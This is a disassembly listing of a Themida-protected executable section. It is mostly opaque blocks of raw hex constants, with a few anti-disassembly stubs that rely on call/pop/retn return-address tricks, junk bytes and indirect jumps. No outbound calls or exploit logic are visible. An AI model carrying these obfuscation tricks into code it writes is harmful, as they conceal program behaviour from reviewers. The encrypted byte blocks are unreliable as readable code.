		dd 0D5BD8306h, 60E30h, 39840Fh,	8F0F0000h, 7, 18D0Fh, 96F80000h
		dd 665084B7h, 6A96DA8Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 53CC351h
		dd 199D0BD8h, 0FF060E22h, 11A07BB5h, 7D858906h,	0FF060E09h
		dd 0E298195h, 9958906h,	31060E04h, 0E3209B5h, 7BB5FF06h
		dd 890611A0h, 0E23798Dh, 0BD95FF06h, 60060E1Ah,	0E1C8B966h
		dd 2A758D89h, 8361060Eh, 0E29D5BDh, 840F0206h, 53h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 66C35040h, 0A29BFCEEh
		dd 257DA5BDh, 0D1858B0Bh, 6A060E07h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 290C357h
		dd 23D18589h, 0C6060Eh,	0C7FA8B00h, 0E351585h, 6, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 0DA140991h, 3500499Ah, 0A5E9CFB6h, 80FFFFF3h, 0C18B1DDFh
		dd 8D71C780h, 0E19C185h, 0D3816606h, 66506C74h,	489FB8Bh
		dd 52006A24h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 8D89AAD2h, 60E03F5h, 6A006Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0D98BBCC3h
		dd 0B589006Ah, 60E0F81h, 87858DF5h, 0F061256h, 384h, 69E38000h
		dd 6A05C083h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 6DA3C353h, 964442DDh, 0C379BF4Ch
		dd 8950087Ch, 0D3812404h, 6FC4123Ch, 8E9006Ah, 43000000h
		dd 0DCC7BFC5h, 8099A46Eh, 6A1AC3h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 3CC35343h, 0BD097C2Fh, 60E1FD5h
		dd 2FE195FFh, 0BD8B060Eh, 60E33A1h, 19A98589h, 8D8D060Eh
		dd 611924Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	7EC35343h, 0B87382D5h, 6827BD04h, 819D33CBh, 66060E09h
		dd 0FF009EBFh, 57006AD1h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 725AA548h, 0B70FAF18h
		dd 8317B7FAh, 0E0D79BDh, 850F0106h, 87h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 18h, 63C35141h, 0F764258Ch
		dd 6A026Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 669043C3h, 8B50DE8Bh, 8D2990DFh, 60E1A71h
		dd 1E4995FFh, 6A060Eh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 3D2121C3h, 21B80650h, 0E9D23AF6h
		dd 0Bh,	8177032Ch, 0C2B85191h, 0E97A099Fh, 0E1Dh, 0E8h
		dd 0ED815D00h, 6125691h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 18h, 60C35141h, 98A706D9h,	3850Fh,	8B660000h
		dd 53006AF8h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 0A9831F93h, 5858D64h, 6A061184h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 5146C357h, 5070A987h, 6A240489h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0BE75C356h
		dd 6438055Ch, 0FF642BD8h, 35h, 52006A00h, 3E8h,	0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0F85EAE91h
		dd 0F9EB8166h, 2589648Ch, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_58ED67
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58ED67	proc near		; CODE XREF: Themida_:0058ED5Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_58ED67	endp

; ---------------------------------------------------------------------------
		db 0ADh
		dd 13E9FB25h, 89000000h, 0C46ADDC5h, 43726728h,	9E2AF47Ah
		dd 76641EFFh, 85FF55F1h, 60E1475h, 0F3812EB3h, 6C5BA79Ch
		dd 0F88BFF6Ah, 2031B5FFh, 8B66060Eh, 8195FFD9h,	0E9060E2Fh
		dd 147h, 0CE8h,	9A483C00h, 0CB1B6DFh, 0B2652B61h, 5BFA8B50h
		dd 85BB00B0h, 0E64A6581h, 13800F70h, 0E9000000h, 0Eh, 1F36F203h
		dd 2A94970Ch, 848EABBEh, 71E4EB75h, 401BD8Bh, 0E780060Eh
		dd 0F613C20h, 0FE83h, 0E0F78100h, 0F0308C1h, 8589C8B6h
		dd 60E06F5h, 29959D8Bh,	6BA060Eh, 89000000h, 0E1C8DB5h
		dd 0E9C18B06h, 13h, 414DD3F2h, 34C7266h, 0B1998C57h, 0B01536Dh
		dd 53F22889h, 9589F860h, 60E3495h, 0E8C15B61h, 299D8B04h
		dd 8B060E0Dh, 0E343DBDh, 0E2F76606h, 0AE99D89h,	0C82B060Eh
		dd 28B0F56h, 8B000000h,	0D18B5FFEh, 0E9DAB70Fh,	1Eh, 12E8h
		dd 48DA3200h, 0D8B71C58h, 0CB026C4h, 713F3D56h,	8B4F2CF2h
		dd 0E31799Dh, 858B5F06h, 60E24C5h, 83DABF0Fh, 0BF6607C0h
		dd 0C083AE26h, 0C70FBB00h, 0D03B639Dh, 9830Fh, 0E9FC0000h
		dd 47h,	8BFB8B66h, 0E1CF18Dh, 38D0F06h,	66000000h, 0E183F98Bh
		dd 2C840F01h, 80000000h, 0B52949DFh, 60E0A6Dh, 1CF1A583h
		dd 89FE060Eh, 0E24C595h, 890F6006h, 6, 870Fh, 8B660000h
		dd 0E961F7h, 8D000000h,	11C207B5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0FEB70F1Bh
		dd 50BF6652h, 6A5BB8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 43C35343h, 66A042E1h,	95FFD88Bh, 60E0F45h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0ECC35343h
		dd 0F970B1B2h, 0F2DB9h,	0AD9D8B00h, 83060E04h, 8529FCE1h
		dd 60E09D1h, 0DBD2BFCh,	0E9060E24h, 13h, 75B208E5h, 9CFC0949h
		dd 3223CD6Ah, 8258FEC0h, 2BA4DF18h, 57006AC0h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 9D8BBD67h
		dd 60E17F1h, 6AD22Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 0CFFDEDC3h, 0B73C0489h, 8D169BBh
		dd 0C233AD4Dh, 0D003E8D1h, 7504E983h, 7BE781F4h, 6A0FC606h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0C86AC353h, 2E219501h, 0BD89060Eh, 60E1351h
		dd 880Dh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 82B2E55h,	0CE9h, 27954400h, 12582EF0h
		dd 77F694E3h, 0C5958B9Ah, 6A060E2Fh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 2D8C356h
		dd 1336DECAh, 34AC908Bh, 8D8BD98Bh, 60E0881h, 556B8BBFh
		dd 0C28B5066h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0FC2DC356h, 4DDBCF81h, 0BD832C16h, 60E0C6Dh
		dd 6C840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0DB35C355h,	0B0EDA56Dh
		dd 0B8h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 22C31BC1h, 5E9h, 0F338E00h, 8D8DE299h
		dd 60E4DD1h, 9759589h, 0E1FF060Eh, 9E8h, 0A9DDAA00h, 6DB9A40Eh
		dd 835B5A8Bh, 0E28D9BDh, 840F0006h, 473h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Ah, 0AEC35343h, 0C773BF51h
		dd 9D8B5C70h, 60E0701h,	28D9BD83h, 0F01060Eh, 45984h, 19D2300h
		dd 83060E03h, 0E28D9BDh, 860F0306h, 410h, 1351BD8Bh, 6A60060Eh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 0E484C352h, 66605026h, 0B70FDA8Bh, 8C6661DAh
		dd 1AC380D9h, 6A04E180h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 1829C353h, 0E8D1FCACh
		dd 5, 0E8B4195Bh, 0C90A5F21h, 11D840Fh,	6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0A03EDEC3h, 17F9858Bh, 90B3060Eh, 1D1D8533h,	7E8060Eh
		dd 40000000h, 67C11D6Ch, 905FD105h, 39A79FBFh, 390500Ch
		dd 0E0211BDh, 6A006A06h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 7074C355h, 0F4951B03h
		dd 468C77Fh, 814E7827h,	24FB2434h, 0B5894E67h, 60E0A7Dh
		dd 0ED595FFh, 6A060Eh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 0B9B0B9C3h, 0E8EC0E61h, 0Fh, 4BC8BA6Eh
		dd 4549594Fh, 0DB52FABh, 8AE123EAh, 85895BDDh, 611A07Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 49C35343h
		dd 0B5BD8BE3h, 0E9060E29h, 26Ch, 0E857006Ah, 3,	5FC35F20h
		dd 4247C89h, 4244481h, 19h, 9AC35747h, 9763B9C2h, 0CE815h
		dd 3EB90000h, 0FABF82E9h, 0BFB665E7h, 8B5B508Eh, 11A07385h
		dd 1858906h, 66060E02h,	0C73BEFBBh, 1800h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
		dd 0A1B589F7h, 8B060E21h, 11A077B5h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0D9D8B1Bh
		dd 8B060E2Dh, 0E1785BDh, 35858B06h, 6A060E14h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 8BC0C355h, 726E42AFh, 689F0C4h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 3AC35242h, 3A66391Eh, 3840Fh
		dd 0F5500000h, 0F9858B5Fh, 6A060E17h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 8F80C356h
		dd 0FABE6B5Dh, 299D8910h, 89060E18h, 95890446h,	60E253Dh
		dd 890F96h, 50000000h, 578BBB66h, 53006A96h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 30BE011Ch
		dd 0BFDF9942h, 5E871h, 98F40000h, 511F49C3h, 0B5FF5F5Fh
		dd 611A073h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	3BC35040h, 0D31ED412h, 9E919h, 9B750000h, 5967D545h
		dd 687A2DB1h, 0D111971Fh, 0FE8h, 0AA179900h, 0AEFD322Eh
		dd 25AF0472h, 0BA878C65h, 2404815Bh, 2F0D6CE0h,	3860Fh
		dd 8B660000h, 7B858DFBh, 6A0611A0h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 5FF0C352h
		dd 1BFAF7Eh, 8BFE5BFFh,	0E1D799Dh, 8B0F5006h, 18h, 13E9h
		dd 4D30CF00h, 0CDDAF9D0h, 2E9B4813h, 0DDB169D1h, 0DE8E253Eh
		dd 6A240489h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0E6C8C351h, 1D73FD89h,	4C9C5ECEh
		dd 0ED595FFh, 6A060Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 3C9784C3h, 0F2D0E058h, 0BF66F2B5h
		dd 8D89D71Fh, 60E1431h,	0EB816661h, 85C7B28Fh, 60E28D9h
		dd 3, 22A59D8Bh, 0BD83060Eh
		dd 611A07Bh, 2D840F00h,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 18B2C353h
		dd 0BD8B4EEFh, 60E34FDh, 1EE9h,	0F8B70F00h, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 0FC08B00h, 8D09D9BFh
		dd 60E1C89h, 1BDD9D8Bh,	0BD83060Eh, 60E28D9h, 63850F03h
		dd 6A000004h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 6D01C352h, 0E9F88B66h,	6, 1D20F540h
		dd 8951A76Dh, 0E24A195h, 0BD835B06h, 611A07Bh, 23840F00h
		dd 6A000004h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 98CDC355h, 27E80A02h, 2CDBD8Bh
		dd 0B5FF060Eh, 611A07Bh, 28F59D8Bh, 95FF060Eh, 60E08D5h
		dd 6FB58BFCh, 6A0611A0h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 0A9D1C356h,	0BFA1F12Ah
		dd 106C703h, 66000100h,	5096DA8Bh, 6A96C8B3h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0F413C351h, 12DD7DCDh, 46606776h, 3719D8Bh, 0B5FF060Eh
		dd 611A07Bh, 2DBDBD89h,	95FF060Eh, 60E1019h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 4FC35343h, 3627AB5Dh
		dd 79BD8B3Ah, 8B060E23h, 11A06FB5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 3F6F4628h
		dd 90D43CB3h, 8B6610FFh, 0A9858BDEh, 6A060E00h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 3F7DC350h, 4CA9DBB1h, 86893560h, 0C4h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 18h, 24C35747h, 0FCD3D398h
		dd 0C5958BFCh, 6A060E2Fh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 872EC356h, 9D8B62FCh
		dd 60E1A19h, 83C6DB80h,	0EE904C2h, 0FC000000h, 53293B1Ch
		dd 3C5C475Dh, 7AD82DAFh, 205089BBh, 18598589h, 858D060Eh
		dd 611B41Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	47C35747h, 8D89D91Bh, 60E0E9Dh,	0B88689h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 663349C3h, 0C9F3E781h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 0B5FF83C3h, 611A07Bh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 12C35141h
		dd 2B5DCF71h, 93592911h, 68A0Fh, 0B5890000h, 60E1B29h
		dd 1E4995FFh, 6A060Eh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 197D71C3h, 22C6F436h, 0CE996h, 0B5D60000h
		dd 0C5E9FBFEh, 0CD9657FDh, 6050CF97h, 52505250h, 585A310Fh
		dd 0BE8310Fh, 0B2000000h, 87D7C663h, 0C788571Fh, 5A5FBA8Fh
		dd 0BE858h, 955A0000h, 0CA2D019Dh, 4CCAA85Fh, 5A58517Bh
		dd 6A9661h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 890F98C3h, 6, 1CB99D31h, 0B5FF060Eh, 611A07Bh
		dd 1CC59D8Bh, 8B66060Eh, 0D195FFDAh, 0E9060E16h, 0Eh, 0D1450F0Fh
		dd 0D3C93C36h, 55AD9032h, 0BD83436Eh, 60E30D5h,	31840F00h
		dd 8B000000h, 666050FAh, 57D5BCB9h, 61209B9h, 89615E2Bh
		dd 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 0C829CEC3h, 0A07BB5FFh, 9D2B0611h, 60E1469h
		dd 298195FFh, 50BB060Eh, 0FF13222Ah, 11A07BB5h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0F5CAA36Fh, 81BDB822h, 71A144C3h, 0BD95FF6Eh, 6A060E1Ah
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0E80EC357h, 0Fh, 4E3E442Ah, 0B045CC0Ah, 0CFD01355h
		dd 8B264E42h, 0E29699Dh, 0BD835B06h, 60E29D5h, 3E840F02h
		dd 8B000000h, 0E07D185h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 254204A7h, 33AF8A9Ah
		dd 0E34619Dh, 0D9BD2906h, 0C6060E0Ch, 0BF0F0000h, 8CBB66FEh
		dd 1585C7C0h, 60E35h, 66000000h, 0AB2E781h, 22759D8Bh
		dd 19E9060Eh, 66FFFFF3h, 0D38DCB81h, 12E9C18Bh,	82000000h
		dd 0D1BAE18Bh, 0C44CCD5Dh, 226F139Ah, 620DBD7Ah, 0C1858D47h
		dd 6A060E19h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 8B07C353h, 0DD8A50FEh,	0FE8B905Bh
		dd 8A0F5650h, 4, 9F1BBB66h, 6E9905Fh, 7B000000h, 305DD2B4h
		dd 0E9006A2Bh, 5, 0F67F5D3Bh, 6A006A38h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 100EC352h
		dd 20DFB426h, 19820Fh, 0DE80000h, 34000000h, 0AA4322EEh
		dd 0C1F4A722h, 0EFCCD418h, 830Fh, 8D5B0000h, 1266FE85h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 97073D2Eh, 22019D8Bh, 0C083060Eh, 55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 0C6D6F655h, 464F12ACh, 8D0F5054h, 3,	50FABF0Fh, 0AE8h
		dd 9C45100h, 9CE11521h,	66A0C859h, 895FDA8Bh, 6A2404h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 66A03DC3h, 2CD4D781h, 6A42C380h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 3447457Dh
		dd 6AD4FFh, 68F0Fh, 0BD290000h,	60E2EC1h, 2FE195FFh, 6A060Eh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 72887CC3h, 0D36A626Eh, 95098125h, 60E1CE5h, 924B8D8Dh
		dd 6A0611h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 0B69325C3h, 8B83B7CDh, 0E238D9Dh,	6AD1FF06h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 0F437C355h, 0D79BD83h, 0F01060Eh,	7185h
		dd 3D9D8B00h, 6A060E0Fh, 50006A02h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 4AC9050Fh, 0DE950h, 7A910000h
		dd 0B6D9700Ah, 803861FBh, 8974E65Dh, 0BD892404h, 60E1749h
		dd 1E4995FFh, 6A060Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 32AF7BC3h, 0B7F7E2F4h, 335BD8Bh
		dd 93E9060Eh, 0E800000Eh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 6126708h
		pusha
		mov	edx, [ebp+60E0DF9h]
		jmp	loc_58FD1E
; ---------------------------------------------------------------------------
		db 51h
		dd 763AD26Bh
; ---------------------------------------------------------------------------
		jmp	esi
; ---------------------------------------------------------------------------


loc_58FD1E:				; CODE XREF: Themida_:0058FD12j
		popa
		mov	edi, [ebp+60E2E45h]
		lea	eax, [ebp+6118405h]
		push	0
		push	eax
		call	sub_58FD36
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58FD36	proc near		; CODE XREF: Themida_:0058FD2Ep

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_58FD36	endp

; ---------------------------------------------------------------------------
		mov	edx, [edx-74999FB0h]
		retf
; ---------------------------------------------------------------------------
		popa
		mov	[esp], eax
		push	0
		push	esi
		call	sub_58FD5C
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58FD5C	proc near		; CODE XREF: Themida_:0058FD54p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_58FD5C	endp

; ---------------------------------------------------------------------------
		push	cs
		retf
; ---------------------------------------------------------------------------
		dw 0CB2Ah
		dd 6477B3B6h, 35FFh, 8A0F0000h,	4, 5595BF66h, 258964h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 0BABFC357h, 7012BF8Fh,	85FF20C4h
		dd 60E1475h, 0FFF6AF5h,	680h, 0F99D0100h, 0FF060E2Eh, 0E292DB5h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 20B21508h, 0FF1AA6B0h, 0E2F8195h, 155E906h
		dd 8C0F0000h, 6, 1AA5B589h, 0B0060Eh, 138A0Fh, 0EE90000h
		dd 0A7000000h, 9DC027E5h, 4ABC489Eh, 24BF6CBAh,	9D9D8BA9h
		dd 0E6060E18h, 0E19D8B70h, 0B3060E17h, 8171E4D3h, 0E1EF09E7h
		dd 5BD8B6Eh, 3C060E02h,	8830F61h, 8B000001h, 0E250DBDh
		dd 0C8B60F06h, 0A35BD8Bh, 6BA060Eh, 89000000h, 0E30F99Dh
		dd 0E8C18B06h, 5, 5EC271AFh, 810FE8h, 5F000000h, 904E8C1h
		dd 0E32C995h, 0E2F76606h, 207D8D89h, 0C82B060Eh, 0D377BF66h
		dd 0C8BBD18Bh, 0B62DD60h, 0E002DBDh, 6E906h, 9D8B0000h
		dd 60E0371h, 0D65858Bh,	8B66060Eh, 7C083DAh, 9E99D29h
		dd 0C083060Eh, 0D03BF900h, 20830Fh, 0BD890000h,	60E1419h
		dd 0AF78166h, 7DE93Ah, 0E8FC0000h, 7, 200F4401h, 8B812F37h
		dd 8D8B5FDAh, 60E0065h,	9E960h,	0CE400000h, 83E9116Bh
		dd 894DF493h, 0E1BF185h, 0E1836106h, 48840F01h,	0E8000000h
		dd 13h,	0B834B2C1h, 7CCEC4Fh, 0FDFA98Ch, 0D2FA7095h, 8B09B593h
		dd 0E1E299Dh, 0A5835B06h, 60E0065h, 0B860FFEh, 0E9000000h
		dd 6, 0BFA67F8Dh, 9589E6BEh, 60E0D65h, 1CB19D8Bh, 0E9060Eh
		dd 8D000000h, 11D319B5h, 6AFA8B06h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0BF2388A3h
		dd 31629F15h, 0BD3348D7h, 60E32E5h, 0F4595FFh, 6A060Eh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0F92816C3h, 8F4296C2h, 4ADBD89h, 0C6B9060Eh,	80000008h
		dd 0E183B8DFh, 52006AFCh, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 5E9FC80h, 27000000h, 96992BC5h
		dd 0B8h, 0B5BD2300h, 2B060E22h,	51006AD2h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 625408F7h
		dd 7E9F048h, 6D000000h,	0B8ADEF6h, 33AD2098h, 3E8D1C2h
		dd 4E983D0h, 6AF475h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 82EAC2C3h, 0E55BDC02h, 0EDBD2953h
		dd 53060E29h, 0DAD9D8Bh, 805F060Eh, 880D62DFh, 0E9000000h
		dd 0Ah,	3E0AB094h, 3E2B8434h, 958B616Bh, 60E2FC5h, 8818D8Bh
		dd 6A060Eh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 89AFB8C3h, 0DE9h,	3A239500h, 8601547Dh, 5683D64Dh
		dd 0BD8B855Ah, 60E3311h, 8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 9E95818h,	28000000h, 7A437267h, 0FF9E2AF4h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 63C35545h
		dd 552FCB29h, 89BAF8E8h, 0E1909BDh, 6DBD8306h, 60E0Ch
		dd 76840Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0B8A7C3h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0ACC1C351h
		dd 0C18F3497h, 0D18D8D61h, 31060E4Dh, 0E319585h, 6AE1FF06h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0FFC3C353h, 0EEC172EDh, 0DF8B6625h, 28D9BD83h
		dd 0F00060Eh, 48484h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 0F090BFB8h, 23268951h
		dd 18D89FDh, 83060E01h,	0E28D9BDh, 840F0106h, 468h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 73C35343h, 966F67BBh
		dd 0BD33015h, 12E903h, 273A0000h, 0A67907EFh, 60C5DAC1h
		dd 0BB2858F4h, 35467DAh, 28D9BD83h, 0F03060Eh, 3E986h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 11A38CC1h, 487115B1h, 0E876B7B9h, 0Bh, 0EB28E8A5h
		dd 1ED3D5E9h, 0B716D990h, 6A605B18h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 16DBC351h
		dd 0DF8B56DBh, 0D98C665Bh, 4E180F5h, 1C859D29h,	0C90A060Eh
		dd 101840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0FE4DBEC3h, 851C6643h, 17F9858Bh
		dd 11E9060Eh, 0FA000000h, 96802BE6h, 0F1D0F570h, 6634706Fh
		dd 0E98D638Fh, 1D1D8533h, 0EB81060Eh, 6B47E58h,	5492BB90h
		dd 50500CEDh, 0EE952h, 95D00000h, 82F18DDBh, 896B8677h
		dd 0CB262148h, 0BF53310Fh, 28C4FC9Ah, 90585A5Fh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 6BC35747h, 6AF52Fh
		dd 28DD9D09h, 0C268060Eh, 0E875DFB7h, 12h, 66079641h, 0D963FBA8h
		dd 9F2DD4F7h, 0AEC1328Ah, 8B66A30Eh, 34815BD9h,	0C0B43D24h
		dd 51BD8B75h, 0FF060E13h, 0E0ED595h, 0E3816606h, 85891411h
		dd 611A07Bh, 0F499509h,	0E4E9060Eh, 6A000001h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 54ABC351h, 8BB12FE7h, 11A07385h, 0CA816006h,	57CAB96Ah
		dd 11E9h, 0D2003000h, 84DDA731h, 776EC1F2h, 9F92FF02h
		dd 0C761ABD9h, 1800h, 0C729BF00h, 0B58B2062h, 611A077h
		dd 1435858Bh, 6A060Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 0B589A1C3h, 60E2FA5h, 6A0689h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 858B85C3h, 60E17F9h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 0A0C35040h, 527ED8A1h, 24FC7161h, 0DE914h
		dd 0B5940000h, 116971E4h, 92D1E95Fh, 8B3DBB51h,	0E33B99Dh
		dd 4468906h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
